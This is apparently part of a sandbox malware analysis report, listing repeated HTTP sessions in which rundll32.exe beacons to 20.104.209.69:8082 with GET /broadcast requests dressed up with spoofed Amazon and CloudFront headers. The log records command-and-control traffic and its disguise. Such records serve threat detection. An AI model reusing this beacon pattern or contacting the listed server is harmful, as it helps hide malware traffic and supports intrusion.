Jan 8, 2023 16:10:03.440136909 CET	1707	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:03.559478045 CET	1707	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:54 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
422	192.168.2.6	50121	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:03.800287008 CET	1710	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:03.920134068 CET	1710	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:55 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
423	192.168.2.6	50122	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:04.176182032 CET	1713	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:04.294893026 CET	1713	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:55 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
424	192.168.2.6	50123	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:04.553749084 CET	1716	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:04.672720909 CET	1717	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:55 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
425	192.168.2.6	50124	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:04.929039001 CET	1719	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:05.047152042 CET	1720	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:56 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
426	192.168.2.6	50125	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:05.325201988 CET	1723	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:05.443470001 CET	1723	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:56 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
427	192.168.2.6	50126	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:05.692693949 CET	1726	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:05.811120033 CET	1726	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:57 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
428	192.168.2.6	50127	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:06.064582109 CET	1729	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:06.182940006 CET	1729	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:57 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
429	192.168.2.6	50128	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:06.443304062 CET	1732	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:06.561249018 CET	1732	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:57 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.6	49741	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:16.811121941 CET	493	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:16.929542065 CET	493	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:08 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
430	192.168.2.6	50129	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:06.816415071 CET	1735	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:06.935683012 CET	1736	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:58 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
431	192.168.2.6	50130	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:07.194727898 CET	1738	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:07.313962936 CET	1739	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:58 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
432	192.168.2.6	50131	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:07.599224091 CET	1742	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:07.716993093 CET	1742	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:58 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
433	192.168.2.6	50132	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:07.979950905 CET	1745	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:08.100385904 CET	1745	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:59 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
434	192.168.2.6	50133	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:08.366096020 CET	1748	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:08.485394955 CET	1748	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:59 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
435	192.168.2.6	50134	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:08.741970062 CET	1751	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:08.863287926 CET	1751	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:00 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
436	192.168.2.6	50135	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:09.125281096 CET	1754	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:09.243776083 CET	1755	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:00 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
437	192.168.2.6	50136	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:12.492676973 CET	1758	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:12.610923052 CET	1758	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:03 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
438	192.168.2.6	50137	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:12.874109030 CET	1761	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:12.992875099 CET	1761	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:04 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
439	192.168.2.6	50138	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:13.240371943 CET	1764	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:13.357852936 CET	1764	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:04 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.6	49742	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:17.232974052 CET	496	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
